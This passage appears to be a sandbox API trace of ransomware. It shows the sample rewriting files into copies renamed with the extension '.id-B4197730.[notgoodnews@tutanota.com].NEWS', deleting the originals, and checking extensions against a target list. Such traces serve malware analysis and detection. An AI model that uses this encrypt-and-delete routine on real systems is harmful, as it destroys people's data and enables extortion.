lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.639] WriteFile (in: hFile=0x2d4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe4, lpOverlapped=0x0) returned 1 [0061.639] SetEndOfFile (hFile=0x2d4) returned 1 [0061.639] CloseHandle (hObject=0x2d4) returned 1 [0061.640] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.640] SetEndOfFile (hFile=0x2d0) returned 1 [0061.641] CloseHandle (hObject=0x2d0) returned 1 [0061.641] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0061.641] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1025\\eula.rtf")) returned 1 [0061.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0061.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0061.642] lstrlenW (lpString=".doc") returned 4 [0061.642] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0061.642] lstrlenW (lpString=".docx") returned 5 [0061.642] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0061.642] lstrlenW (lpString=".pdf") returned 4 [0061.642] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0061.642] lstrlenW (lpString=".xls") returned 4 [0061.642] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0061.642] lstrlenW (lpString=".xlsx") returned 5 [0061.642] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0061.642] lstrlenW (lpString=".ppt") returned 4 [0061.642] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0061.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0061.642] lstrlenW (lpString=".zip") returned 4 [0061.642] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0061.642] lstrlenW (lpString=".rar") returned 4 [0061.642] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0061.642] lstrlenW (lpString=".bz2") returned 4 [0061.642] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0061.642] lstrlenW (lpString=".7z") returned 3 [0061.642] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0061.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0061.642] lstrlenW (lpString=".dbf") returned 4 [0061.642] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0061.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0061.642] lstrlenW (lpString=".1cd") returned 4 [0061.642] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0061.642] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0061.642] lstrlenW (lpString=".jpg") returned 4 [0061.642] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0061.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0061.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0061.643] lstrlenW (lpString=".doc") returned 4 [0061.643] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0061.643] lstrlenW (lpString=".docx") returned 5 [0061.643] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0061.643] lstrlenW (lpString=".pdf") returned 4 [0061.643] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0061.643] lstrlenW (lpString=".xls") returned 4 [0061.643] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0061.643] lstrlenW (lpString=".xlsx") returned 5 [0061.643] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0061.643] lstrlenW (lpString=".ppt") returned 4 [0061.643] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0061.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0061.643] lstrlenW (lpString=".zip") returned 4 [0061.643] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0061.643] lstrlenW (lpString=".rar") returned 4 [0061.643] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0061.643] lstrlenW (lpString=".bz2") returned 4 [0061.643] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0061.643] lstrlenW (lpString=".7z") returned 3 [0061.643] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0061.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0061.643] lstrlenW (lpString=".dbf") returned 4 [0061.643] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0061.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0061.643] lstrlenW (lpString=".1cd") returned 4 [0061.643] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0061.643] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\eula.rtf") returned 35 [0061.643] lstrlenW (lpString=".jpg") returned 4 [0061.643] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0061.644] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0061.644] lstrlenW (lpString="LocalizedData.xml") returned 17 [0061.644] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0061.645] GetFileSizeEx (in: hFile=0x2d0, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=74214) returned 1 [0061.645] CloseHandle (hObject=0x2d0) returned 1 [0061.645] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0061.645] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.645] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0 [0061.645] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.645] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.645] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4 [0061.645] GetLastError () returned 0x0 [0061.646] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x121e6, lpOverlapped=0x0) returned 1 [0061.648] WriteFile (in: hFile=0x2d4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x121f0, lpOverlapped=0x0) returned 1 [0061.651] ReadFile (in: hFile=0x2d0, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.651] WriteFile (in: hFile=0x2d4, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xf6, lpOverlapped=0x0) returned 1 [0061.651] SetEndOfFile (hFile=0x2d4) returned 1 [0061.651] CloseHandle (hObject=0x2d4) returned 1 [0061.653] SetFilePointerEx (in: hFile=0x2d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.653] SetEndOfFile (hFile=0x2d0) returned 1 [0061.654] CloseHandle (hObject=0x2d0) returned 1 [0061.655] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0061.655] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0061.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0061.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0061.655] lstrlenW (lpString=".doc") returned 4 [0061.655] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.655] lstrlenW (lpString=".docx") returned 5 [0061.655] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0061.655] lstrlenW (lpString=".pdf") returned 4 [0061.655] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.655] lstrlenW (lpString=".xls") returned 4 [0061.655] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.655] lstrlenW (lpString=".xlsx") returned 5 [0061.655] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0061.655] lstrlenW (lpString=".ppt") returned 4 [0061.655] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.655] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0061.655] lstrlenW (lpString=".zip") returned 4 [0061.655] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.656] lstrlenW (lpString=".rar") returned 4 [0061.656] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.656] lstrlenW (lpString=".bz2") returned 4 [0061.656] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.656] lstrlenW (lpString=".7z") returned 3 [0061.656] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0061.656] lstrlenW (lpString=".dbf") returned 4 [0061.656] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0061.656] lstrlenW (lpString=".1cd") returned 4 [0061.656] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0061.656] lstrlenW (lpString=".jpg") returned 4 [0061.656] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0061.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0061.656] lstrlenW (lpString=".doc") returned 4 [0061.656] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0061.656] lstrlenW (lpString=".docx") returned 5 [0061.656] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0061.656] lstrlenW (lpString=".pdf") returned 4 [0061.656] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0061.656] lstrlenW (lpString=".xls") returned 4 [0061.656] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0061.656] lstrlenW (lpString=".xlsx") returned 5 [0061.656] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0061.656] lstrlenW (lpString=".ppt") returned 4 [0061.656] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0061.656] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0061.656] lstrlenW (lpString=".zip") returned 4 [0061.656] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0061.656] lstrlenW (lpString=".rar") returned 4 [0061.656] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0061.657] lstrlenW (lpString=".bz2") returned 4 [0061.657] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0061.657] lstrlenW (lpString=".7z") returned 3 [0061.657] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0061.657] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0061.657] lstrlenW (lpString=".dbf") returned 4 [0061.657] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0061.657] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0061.657] lstrlenW (lpString=".1cd") returned 4 [0061.657] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0061.657] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0061.657] lstrlenW (lpString=".jpg") returned 4 [0061.657] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0061.657] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0061.657] lstrlenW (lpString="eula.rtf") returned 8 [0061.657] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0061.795] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=6309) returned 1 [0061.795] CloseHandle (hObject=0x314) returned 1 [0061.795] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0061.795] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0061.795] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0061.795] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.796] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.796] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0061.798] GetLastError () returned 0x0 [0061.798] ReadFile (in: hFile=0x314, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0061.801] WriteFile (in: hFile=0x318, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0061.802] ReadFile (in: hFile=0x314, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0061.802] WriteFile (in: hFile=0x318, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe4, lpOverlapped=0x0) returned 1 [0061.803] SetEndOfFile (hFile=0x318) returned 1 [0061.803] CloseHandle (hObject=0x318) returned 1 [0061.806] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0061.806] SetEndOfFile (hFile=0x314) returned 1 [0061.807] CloseHandle (hObject=0x314) returned 1 [0061.807] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0061.807] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0061.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0061.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0061.808] lstrlenW (lpString=".doc") returned 4 [0061.808] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0061.808] lstrlenW (lpString=".docx") returned 5 [0061.808] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0061.808] lstrlenW (lpString=".pdf") returned 4 [0061.808] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0061.808] lstrlenW (lpString=".xls") returned 4 [0061.808] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0061.808] lstrlenW (lpString=".xlsx") returned 5 [0061.808] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0061.808] lstrlenW (lpString=".ppt") returned 4 [0061.808] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0061.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0061.808] lstrlenW (lpString=".zip") returned 4 [0061.808] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0061.808] lstrlenW (lpString=".rar") returned 4 [0061.808] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0061.808] lstrlenW (lpString=".bz2") returned 4 [0061.808] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0061.808] lstrlenW (lpString=".7z") returned 3 [0061.808] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0061.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0061.808] lstrlenW (lpString=".dbf") returned 4 [0061.808] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0061.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0061.808] lstrlenW (lpString=".1cd") returned 4 [0061.808] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0061.808] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0061.808] lstrlenW (lpString=".jpg") returned 4 [0061.808] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0061.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0061.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0061.809] lstrlenW (lpString=".doc") returned 4 [0061.809] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0061.809] lstrlenW (lpString=".docx") returned 5 [0061.809] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0061.809] lstrlenW (lpString=".pdf") returned 4 [0061.809] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0061.809] lstrlenW (lpString=".xls") returned 4 [0061.809] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0061.809] lstrlenW (lpString=".xlsx") returned 5 [0061.809] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0061.809] lstrlenW (lpString=".ppt") returned 4 [0061.809] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0061.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0061.809] lstrlenW (lpString=".zip") returned 4 [0061.809] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0061.809] lstrlenW (lpString=".rar") returned 4 [0061.809] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0061.809] lstrlenW (lpString=".bz2") returned 4 [0061.809] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0061.809] lstrlenW (lpString=".7z") returned 3 [0061.809] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0061.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0061.809] lstrlenW (lpString=".dbf") returned 4 [0061.809] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0061.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0061.809] lstrlenW (lpString=".1cd") returned 4 [0061.809] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0061.809] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0061.809] lstrlenW (lpString=".jpg") returned 4 [0061.809] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0061.810] Sleep (dwMilliseconds=0x64) [0063.394] lstrcmpiW (lpString1=".rtf", lpString2=".NEWS") returned 1 [0063.394] lstrlenW (lpString="eula.rtf") returned 8 [0063.394] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.404] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x325ff14 | out: lpFileSize=0x325ff14*=3419) returned 1 [0063.404] CloseHandle (hObject=0x2f4) returned 1 [0063.404] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 0x80 [0063.404] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0063.404] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0063.404] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.404] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.404] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0063.404] GetLastError () returned 0x0 [0063.404] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0xd5b, lpOverlapped=0x0) returned 1 [0063.406] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xd60, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xd60, lpOverlapped=0x0) returned 1 [0063.407] ReadFile (in: hFile=0x2f4, lpBuffer=0x3c44020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x325fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesRead=0x325fecc*=0x0, lpOverlapped=0x0) returned 1 [0063.407] WriteFile (in: hFile=0x31c, lpBuffer=0x3c44020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x325fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c44020*, lpNumberOfBytesWritten=0x325fc94*=0xe4, lpOverlapped=0x0) returned 1 [0063.407] SetEndOfFile (hFile=0x31c) returned 1 [0063.407] CloseHandle (hObject=0x31c) returned 1 [0063.408] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x325fec0 | out: lpNewFilePointer=0x0) returned 1 [0063.408] SetEndOfFile (hFile=0x2f4) returned 1 [0063.409] CloseHandle (hObject=0x2f4) returned 1 [0063.409] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x80) returned 1 [0063.409] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf")) returned 1 [0063.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0063.409] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0063.409] lstrlenW (lpString=".doc") returned 4 [0063.409] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0063.409] lstrlenW (lpString=".docx") returned 5 [0063.409] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0063.409] lstrlenW (lpString=".pdf") returned 4 [0063.409] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0063.410] lstrlenW (lpString=".xls") returned 4 [0063.410] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0063.410] lstrlenW (lpString=".xlsx") returned 5 [0063.410] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0063.410] lstrlenW (lpString=".ppt") returned 4 [0063.410] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0063.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0063.410] lstrlenW (lpString=".zip") returned 4 [0063.410] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0063.410] lstrlenW (lpString=".rar") returned 4 [0063.410] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0063.410] lstrlenW (lpString=".bz2") returned 4 [0063.410] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0063.410] lstrlenW (lpString=".7z") returned 3 [0063.410] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0063.410] lstrlenW (lpString="C:\\588bce7c90097ed212\\1031\\eula.rtf") returned 35 [0063.410] lstrlenW (lpString=".dbf") returned 4 [0063.410] lstrcmpiW (lpString1=".dbf", 